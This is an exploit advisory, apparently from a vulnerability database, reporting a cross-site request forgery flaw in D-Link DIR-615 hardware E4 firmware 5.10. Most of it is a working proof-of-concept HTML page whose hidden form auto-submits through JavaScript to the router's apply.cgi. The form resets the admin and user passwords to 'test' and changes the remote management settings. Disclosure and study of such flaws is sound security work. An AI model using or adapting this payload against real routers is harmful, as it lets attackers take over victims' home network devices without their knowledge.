Dlink DIR-615 Hardware vE4 Firmware v5.10 - CSRF Vulnerability

🗓️ 01 Jul 2014 00:00:00Reported by RootType
Dlink DIR-615 Hardware vE4 Firmware v5.10 - CSRF Vulnerabilit

                                                ####################################################################################

# Exploit Title: Dlink DIR-615 Hardware Version E4 Firmware Verion 5.10
CSRF Vulnerability
# Google Dork: N/A
# Date: 19/02/2014
# Exploit Author: Dhruv Shah
# Vendor Homepage:
http://www.dlink.com/us/en/home-solutions/connect/routers/dir-615-wireless-n-300-router
# Software Link: N/A
# Hardware Version:E4

# Firmware Version:5.10
# Tested on: Router Web Server
# CVE : N/A

###################################################################################

Cross Site Request Forgery

This Modem&#39;s Web Application , suffers from Cross-site request forgery

through which attacker can manipulate user data via sending him malicious

craft url.

The Modems&#39;s Application  not using any security token to prevent it

against CSRF. You can manipulate any userdata. PoC and Exploit to change

user password:

 In the POC the IP address in the POST is the modems IP address.



&#60;html&#62;

  &#60;body&#62;

                &#60;form id =&#34;poc&#34;action=&#34;http://192.168.0.1/apply.cgi&#34;
method=&#34;POST&#34;&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;html_response_page&#34;
value=&#34;back.asp&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;html_response_message&#34;
value=&#34;The setting is saved.&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;html_response_return_page&#34;
value=&#34;login.asp&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;reboot_type&#34; value=&#34;none&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;button1&#34; value=&#34;Save Settings&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;admin_password&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;admin_password1&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;admPass2&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;user_password&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;user_password1&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;usrPass2&#34; value=&#34;test&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;hostname&#34; value=&#34;DIR-615&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;graphical_enable&#34; value=&#34;1&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;graph_auth_enable&#34; value=&#34;1&#34; /&#62;

      &#60;input type=&#34;hidden&#34; name=&#34;remote_http_management_enable&#34;
value=&#34;0&#34; /&#62;

      &#60;input type=&#34;hidden&#34;
name=&#34;remote_http_management_inbound_filter&#34;
value=&#34;Allow_All&#34; /&#62;

    &#60;/form&#62;

  &#60;/body&#62;

  &#60;script
type=&#34;text/javascript&#34;&#62;document.getElementById(&#34;poc&#34;).submit();&#60;/script&#62;

&#60;/html&#62;

______________________

*Dhruv Shah* *aka Snypter*

Blogger | Researcher | Consultant | Writer
Youtube &#60;http://www.youtube.com/snypter&#62; |
Facebook&#60;http://www.facebook.com/dhruvshahs&#62;|
Linkedin &#60;http://in.linkedin.com/pub/dhruv-shah/26/4a6/aa0&#62; |
Twitter&#60;https://twitter.com/Snypter&#62;|
Blog &#60;http://security-geek.in/blog/&#62;
01 Jul 2014 00:00Current
7.1High risk
Vulners AI Score7.1